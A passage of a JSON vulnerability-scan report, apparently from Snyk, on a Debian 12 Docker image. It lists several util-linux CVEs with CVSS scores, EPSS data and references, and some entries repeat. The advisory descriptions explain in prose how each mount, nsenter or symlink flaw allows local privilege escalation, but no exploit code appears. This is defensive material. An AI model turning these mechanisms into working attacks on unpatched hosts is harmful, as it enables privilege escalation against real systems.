"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nA flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount(8) to bind another host directory. If the fstab entry also sets X-mount.owner, X-mount.group, or X-mount.mode, root then changes ownership or mode on that redirected inode.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78410](https://security-tracker.debian.org/tracker/CVE-2026-78410)\n- [https://access.redhat.com/security/cve/CVE-2026-78410](https://access.redhat.com/security/cve/CVE-2026-78410)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522684](https://bugzilla.redhat.com/show_bug.cgi?id=2522684)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m](https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m)\n",
"epssDetails": {
"percentile": "0.04035",
"probability": "0.00156",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78410"
],
"CWE": [
"CWE-367"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:53:31.733841Z",
"disclosureTime": "2026-09-02T16:17:23.983000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:53:31.735935Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:20.877082Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux/libmount1@2.38.1-5+deb12u3",
"util-linux/libblkid1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libblkid1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513270",
"cpes": [],
"title": "Detection of Error Condition Without Action",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.8,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-76642",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-76642"
},
{
"url": "https://github.com/util-linux/util-linux",
"title": "https://github.com/util-linux/util-linux"
},
{
"url": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L476",
"title": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L476"
},
{
"url": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L892",
"title": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L892"
},
{
"url": "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a",
"title": "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a"
},
{
"url": "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc",
"title": "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc"
},
{
"url": "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf",
"title": "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf"
},
{
"url": "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper",
"title": "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-04T01:29:18.083087Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-03T07:55:06.120226Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-28T11:03:10.796717Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-04T01:29:18.083087Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:06.120226Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:10.796717Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nutil-linux versions through 2.41.5 and 2.42.2 fail to check mount helper exit status before running post-mount hooks, allowing unprivileged users to execute privileged operations on pre-existing filesystems. Attackers can exploit X-mount.idmap or X-mount.owner hooks to clone filesystems with inherited suid bits or modify target inode permissions after a helper fails, achieving privilege escalation.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-76642](https://security-tracker.debian.org/tracker/CVE-2026-76642)\n- [https://github.com/util-linux/util-linux](https://github.com/util-linux/util-linux)\n- [https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476](https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476)\n- [https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892](https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892)\n- [https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a](https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a)\n- [https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc](https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc)\n- [https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf](https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf)\n- [https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper](https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f](https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f)\n",
"epssDetails": {
"percentile": "0.10694",
"probability": "0.00216",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-76642"
],
"CWE": [
"CWE-390"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:50:34.412915Z",
"disclosureTime": "2026-09-03T13:06:08.440000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:50:34.418355Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:11.362496Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux@2.38.1-5+deb12u3",
"util-linux/libblkid1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libblkid1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513278",
"cpes": [],
"title": "Missing Release of File Descriptor or Handle after Effective Lifetime",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.9,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78408",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78408"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78408",
"title": "https://access.redhat.com/security/cve/CVE-2026-78408"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522497",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522497"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "http://www.openwall.com/lists/oss-security/2026/09/05/2",
"title": "http://www.openwall.com/lists/oss-security/2026/09/05/2"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"cvssV3BaseScore": 7.9,
"modificationTime": "2026-09-02T18:25:42.573221Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"cvssV3BaseScore": 7.9,
"modificationTime": "2026-09-03T07:55:50.442401Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H",
"cvssV3BaseScore": 6.6,
"modificationTime": "2026-09-28T11:03:15.966733Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:42.573221Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:50.442401Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 6.6,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:15.966733Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nThe nsenter --join-cgroup option opens the target cgroup.procs file as root and leaves that file descriptor open across later namespace and credential changes and across execve(). Because the kernel checks later cgroup migrations using the credentials from the original open, a program run in an attacker-controlled target can inherit root's ability to move host processes between cgroups. After a privileged operator uses --join-cgroup against that target, an unprivileged user can migrate and terminate unrelated root processes.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78408](https://security-tracker.debian.org/tracker/CVE-2026-78408)\n- [https://access.redhat.com/security/cve/CVE-2026-78408](https://access.redhat.com/security/cve/CVE-2026-78408)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522497](https://bugzilla.redhat.com/show_bug.cgi?id=2522497)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [http://www.openwall.com/lists/oss-security/2026/09/05/2](http://www.openwall.com/lists/oss-security/2026/09/05/2)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj](https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj)\n",
"epssDetails": {
"percentile": "0.07392",
"probability": "0.00186",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78408"
],
"CWE": [
"CWE-775"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:51:54.147974Z",
"disclosureTime": "2026-09-02T16:17:23.687000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:51:54.149932Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:16.366429Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux@2.38.1-5+deb12u3",
"util-linux/libblkid1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libblkid1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513283",
"cpes": [],
"title": "Link Following",
"CVSSv3": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78409",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78409"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78409",
"title": "https://access.redhat.com/security/cve/CVE-2026-78409"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522607",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522607"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7,
"modificationTime": "2026-09-02T18:25:41.346229Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7,
"modificationTime": "2026-09-03T07:55:46.701817Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:41.346229Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:46.701817Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nThe X-mount.subdir option uses a detached-tree fast path on Linux 6.15 and later and passes the configured subdirectory to open_tree() with AT_SYMLINK_NOFOLLOW. That flag does not stop intermediate symlink traversal or keep resolution inside the newly mounted filesystem. A local unprivileged user with an fstab-authorized X-mount.subdir entry can attach a host path at the intended mountpoint.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78409](https://security-tracker.debian.org/tracker/CVE-2026-78409)\n- [https://access.redhat.com/security/cve/CVE-2026-78409](https://access.redhat.com/security/cve/CVE-2026-78409)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522607](https://bugzilla.redhat.com/show_bug.cgi?id=2522607)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv](https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv)\n",
"epssDetails": {
"percentile": "0.03788",
"probability": "0.00154",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78409"
],
"CWE": [
"CWE-59"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:52:29.071961Z",
"disclosureTime": "2026-09-02T16:17:23.833000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:52:29.074465Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:20:04.159247Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux@2.38.1-5+deb12u3",
"util-linux/libblkid1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libblkid1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513290",
"cpes": [],
"title": "Time-of-check Time-of-use (TOCTOU)",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.8,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78410",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78410"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78410",
"title": "https://access.redhat.com/security/cve/CVE-2026-78410"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522684",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522684"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-02T18:25:41.718430Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-03T07:55:46.643606Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-28T11:03:20.409615Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:41.718430Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:46.643606Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:20.409615Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nA flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount(8) to bind another host directory. If the fstab entry also sets X-mount.owner, X-mount.group, or X-mount.mode, root then changes ownership or mode on that redirected inode.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78410](https://security-tracker.debian.org/tracker/CVE-2026-78410)\n- [https://access.redhat.com/security/cve/CVE-2026-78410](https://access.redhat.com/security/cve/CVE-2026-78410)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522684](https://bugzilla.redhat.com/show_bug.cgi?id=2522684)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m](https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m)\n",
"epssDetails": {
"percentile": "0.04035",
"probability": "0.00156",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78410"
],
"CWE": [
"CWE-367"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:53:31.733841Z",
"disclosureTime": "2026-09-02T16:17:23.983000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:53:31.735935Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:20.877082Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux@2.38.1-5+deb12u3",
"util-linux/libblkid1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libblkid1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513270",
"cpes": [],
"title": "Detection of Error Condition Without Action",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.8,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-76642",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-76642"
},
{
"url": "https://github.com/util-linux/util-linux",
"title": "https://github.com/util-linux/util-linux"
},
{
"url": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L476",
"title": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L476"
},
{
"url": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L892",
"title": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L892"
},
{
"url": "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a",
"title": "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a"
},
{
"url": "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc",
"title": "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc"
},
{
"url": "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf",
"title": "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf"
},
{
"url": "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper",
"title": "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-04T01:29:18.083087Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-03T07:55:06.120226Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-28T11:03:10.796717Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-04T01:29:18.083087Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:06.120226Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:10.796717Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nutil-linux versions through 2.41.5 and 2.42.2 fail to check mount helper exit status before running post-mount hooks, allowing unprivileged users to execute privileged operations on pre-existing filesystems. Attackers can exploit X-mount.idmap or X-mount.owner hooks to clone filesystems with inherited suid bits or modify target inode permissions after a helper fails, achieving privilege escalation.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-76642](https://security-tracker.debian.org/tracker/CVE-2026-76642)\n- [https://github.com/util-linux/util-linux](https://github.com/util-linux/util-linux)\n- [https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476](https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476)\n- [https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892](https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892)\n- [https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a](https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a)\n- 